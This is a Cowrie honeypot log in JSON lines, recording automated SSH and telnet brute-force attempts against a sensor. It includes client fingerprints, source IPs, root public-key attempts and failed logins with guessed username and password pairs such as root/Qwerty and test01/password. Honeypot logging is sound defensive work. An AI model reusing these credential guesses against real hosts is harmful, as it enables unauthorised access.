{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:b9:26:91:e8:3d:e7:d0:05:8e:98:fc:17:f2:4d:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAWRe6Rf6cSJxQU+G3enz9DLl4Off4RWlbhv97JmCMgWO0IyqRmCsXphAOA8yVt/oaDbTKVj41tYj3V43R1VbUYC7MYONJ+j7Txbg/iP53wjCTxROHZlO9I2zYXabdpq1lNpbYTDR6rqswaufZpuYmwkWsA8Dk740n2/qsTW3GZZNhlK2Y0o4WKTaT7eGWbTcJ591Fx3miIjrpS2CUnNZRdHL1ibWHZjQJ+LNxmlv7KaOA/9bPvKn4tmA+k8kB9ebL8SP8vhUOWP01UeqOVqt6CaXx/5C6uMqqpsywnOo+K6JPrbAIOlEJzVyLlRjavBa63oIe1dXk/a+nvaA1xOFv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:b9:26:91:e8:3d:e7:d0:05:8e:98:fc:17:f2:4d:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:47.890256Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:b9:26:91:e8:3d:e7:d0:05:8e:98:fc:17:f2:4d:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAWRe6Rf6cSJxQU+G3enz9DLl4Off4RWlbhv97JmCMgWO0IyqRmCsXphAOA8yVt/oaDbTKVj41tYj3V43R1VbUYC7MYONJ+j7Txbg/iP53wjCTxROHZlO9I2zYXabdpq1lNpbYTDR6rqswaufZpuYmwkWsA8Dk740n2/qsTW3GZZNhlK2Y0o4WKTaT7eGWbTcJ591Fx3miIjrpS2CUnNZRdHL1ibWHZjQJ+LNxmlv7KaOA/9bPvKn4tmA+k8kB9ebL8SP8vhUOWP01UeqOVqt6CaXx/5C6uMqqpsywnOo+K6JPrbAIOlEJzVyLlRjavBa63oIe1dXk/a+nvaA1xOFv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:47.893948Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:3a:7f:9c:0f:fc:d5:1f:72:8c:47:dd:60:18:23:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjSQHAN38kCSd+p8yhNI4Ij+KS/jtEcwc6PirspBbmMlUPokjUWdvpWlYqqf/c0PdjZ8thIlcVzqnpjdqvb9ZUqUj3M2gXQ2NfyOizi+ugWegAxOxPPOJ7CJgIqJ3aZ0RcPLmOBR4ym4DepXGNadZBPhiF0tRL9LO901+o71DvlppP6+zT6vGrAtZ532tkSFMIqdLdgCvAk2fqtMH9JLKib1bZwnrW5ZkcMRnemJKyZZpWwAW2ZVNYqLKpAOKLKyinXy57lQnBOsTYaqK5VeSg4xjx/MXGrF/oZHS385YgMktyb8qbKjd/XoOZUcz2a0M6lCBQP5SovXpVHQaokwFb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:3a:7f:9c:0f:fc:d5:1f:72:8c:47:dd:60:18:23:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:48.136593Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:3a:7f:9c:0f:fc:d5:1f:72:8c:47:dd:60:18:23:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjSQHAN38kCSd+p8yhNI4Ij+KS/jtEcwc6PirspBbmMlUPokjUWdvpWlYqqf/c0PdjZ8thIlcVzqnpjdqvb9ZUqUj3M2gXQ2NfyOizi+ugWegAxOxPPOJ7CJgIqJ3aZ0RcPLmOBR4ym4DepXGNadZBPhiF0tRL9LO901+o71DvlppP6+zT6vGrAtZ532tkSFMIqdLdgCvAk2fqtMH9JLKib1bZwnrW5ZkcMRnemJKyZZpWwAW2ZVNYqLKpAOKLKyinXy57lQnBOsTYaqK5VeSg4xjx/MXGrF/oZHS385YgMktyb8qbKjd/XoOZUcz2a0M6lCBQP5SovXpVHQaokwFb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:48.140803Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:85:b3:5d:33:06:b4:fd:0a:0a:16:04:48:f0:82:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw7tVQTLRQqos2bXACVKNszZxIh2y1x/bDm3nNo8bP7Ydg4UbGyq3yDwfxIY7ThL9tTSiecVlGrFFyg4z70DnTW9xgHdpmakFPsSKhwiZY66ucceFjU4Sz4njQ/OldhOrMk+SynABxNQUiadGgOaumfLFH2lnTIBHs8/aQSTr3cgdoGiI0u1kb/tkECB1nd9D+YNgiZFZ48aCpi+61bRjdyb7YTntGhiN0d+Xi9Hq+4JQqDZJiaPueiOmFVR52w17fSu66DUARByhMQ7Xz8J4VDOKNmGHVR3+NvhIPspU2tkHOVzREPtfXVW/B/qTqUKQHEc/BMGZpGJuyygn5/Tad","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:85:b3:5d:33:06:b4:fd:0a:0a:16:04:48:f0:82:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:48.382024Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:85:b3:5d:33:06:b4:fd:0a:0a:16:04:48:f0:82:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw7tVQTLRQqos2bXACVKNszZxIh2y1x/bDm3nNo8bP7Ydg4UbGyq3yDwfxIY7ThL9tTSiecVlGrFFyg4z70DnTW9xgHdpmakFPsSKhwiZY66ucceFjU4Sz4njQ/OldhOrMk+SynABxNQUiadGgOaumfLFH2lnTIBHs8/aQSTr3cgdoGiI0u1kb/tkECB1nd9D+YNgiZFZ48aCpi+61bRjdyb7YTntGhiN0d+Xi9Hq+4JQqDZJiaPueiOmFVR52w17fSu66DUARByhMQ7Xz8J4VDOKNmGHVR3+NvhIPspU2tkHOVzREPtfXVW/B/qTqUKQHEc/BMGZpGJuyygn5/Tad","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:48.386080Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:64:19:5f:88:07:9c:5c:e9:90:6d:52:4d:6c:36:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2D4zHVwrLYzAXHQT3Y0Wu4Unm+Snlq6huQBTDilN+SYwEDwUxGMdmN2aaI2I+yhuqKjqL0rFo6eNo1TtzxpJGiWeU6Z+nnd7MPsNdtThHnmkB42DR+1eDKEgWVyqj/mXnHgvK+Ir55AUIymly7ljoVuSKhIYeBOeQudTy6hx2HZ2XMJDxwXd2OfHnD9wsMKBtv8o9VRqdfm/zBHoQ0/jk6GjOt/pgiXUyqGebHxMlbg2q172Rw32+oikdmQn9FpOmGMzE/N/HRPmw5RklnWaPAErOL8Rv80W522S+kOpY7xuUIBmNSn0D4L3dKwZuXXg/B9aeJ8x5ylhubneDiq0SQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:64:19:5f:88:07:9c:5c:e9:90:6d:52:4d:6c:36:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:48.628731Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:64:19:5f:88:07:9c:5c:e9:90:6d:52:4d:6c:36:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2D4zHVwrLYzAXHQT3Y0Wu4Unm+Snlq6huQBTDilN+SYwEDwUxGMdmN2aaI2I+yhuqKjqL0rFo6eNo1TtzxpJGiWeU6Z+nnd7MPsNdtThHnmkB42DR+1eDKEgWVyqj/mXnHgvK+Ir55AUIymly7ljoVuSKhIYeBOeQudTy6hx2HZ2XMJDxwXd2OfHnD9wsMKBtv8o9VRqdfm/zBHoQ0/jk6GjOt/pgiXUyqGebHxMlbg2q172Rw32+oikdmQn9FpOmGMzE/N/HRPmw5RklnWaPAErOL8Rv80W522S+kOpY7xuUIBmNSn0D4L3dKwZuXXg/B9aeJ8x5ylhubneDiq0SQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:48.632452Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:48.873642Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58396,"dst_ip":"10.17.0.5","dst_port":22,"session":"c32589ccbea5","protocol":"ssh","message":"New connection: 176.65.132.129:58396 (10.17.0.5:22) [session: c32589ccbea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:49.239207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:49.275237Z","src_ip":"176.65.132.129","session":"c32589ccbea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:49.325541Z","src_ip":"176.65.132.129","session":"c32589ccbea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:49.638199Z","src_ip":"176.65.132.129","session":"c32589ccbea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.09849405288696,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:50.071517Z","src_ip":"64.227.82.147","session":"3048a3e95497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:50.721847Z","src_ip":"176.65.132.129","session":"c32589ccbea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58400,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb0a5ea30c6b","protocol":"ssh","message":"New connection: 176.65.132.129:58400 (10.17.0.5:22) [session: bb0a5ea30c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:52.653302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:52.658480Z","src_ip":"176.65.132.129","session":"bb0a5ea30c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:52.741820Z","src_ip":"176.65.132.129","session":"bb0a5ea30c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:52.987583Z","src_ip":"176.65.132.129","session":"bb0a5ea30c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:54.234991Z","src_ip":"176.65.132.129","session":"bb0a5ea30c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56600,"dst_ip":"10.17.0.5","dst_port":22,"session":"70cb97e3c2cd","protocol":"ssh","message":"New connection: 176.65.132.129:56600 (10.17.0.5:22) [session: 70cb97e3c2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:56.055892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:56.064356Z","src_ip":"176.65.132.129","session":"70cb97e3c2cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:56.146882Z","src_ip":"176.65.132.129","session":"70cb97e3c2cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:56.402389Z","src_ip":"176.65.132.129","session":"70cb97e3c2cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":44956,"dst_ip":"10.17.0.5","dst_port":22,"session":"78c75d48e969","protocol":"ssh","message":"New connection: 95.215.8.165:44956 (10.17.0.5:22) [session: 78c75d48e969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:56.772787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:56.777608Z","src_ip":"95.215.8.165","session":"78c75d48e969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:56.858305Z","src_ip":"95.215.8.165","session":"78c75d48e969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test01","password":"password","message":"login attempt [test01/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:57.255172Z","src_ip":"95.215.8.165","session":"78c75d48e969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:57.489551Z","src_ip":"176.65.132.129","session":"70cb97e3c2cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.80496144294739,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:57.704877Z","src_ip":"38.60.198.128","session":"c22c7750b774","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:58.338505Z","src_ip":"95.215.8.165","session":"78c75d48e969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":59622,"dst_ip":"10.17.0.5","dst_port":23,"session":"36f128f6d323","protocol":"telnet","message":"New connection: 45.81.23.16:59622 (10.17.0.5:23) [session: 36f128f6d323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:59.400572Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56614,"dst_ip":"10.17.0.5","dst_port":22,"session":"1428ccee9a6d","protocol":"ssh","message":"New connection: 176.65.132.129:56614 (10.17.0.5:22) [session: 1428ccee9a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:59.560917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:59.565505Z","src_ip":"176.65.132.129","session":"1428ccee9a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:59.646805Z","src_ip":"176.65.132.129","session":"1428ccee9a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:59.896395Z","src_ip":"176.65.132.129","session":"1428ccee9a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":56222,"dst_ip":"159.203.135.109","dst_port":23,"session":"98f114166479","protocol":"telnet","message":"New connection: 64.227.82.147:56222 (159.203.135.109:23) [session: 98f114166479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:00.764929Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:00.979789Z","src_ip":"176.65.132.129","session":"1428ccee9a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56616,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae1e94835223","protocol":"ssh","message":"New connection: 176.65.132.129:56616 (10.17.0.5:22) [session: ae1e94835223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:02.902447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:02.907677Z","src_ip":"176.65.132.129","session":"ae1e94835223","protocol":"ssh"}
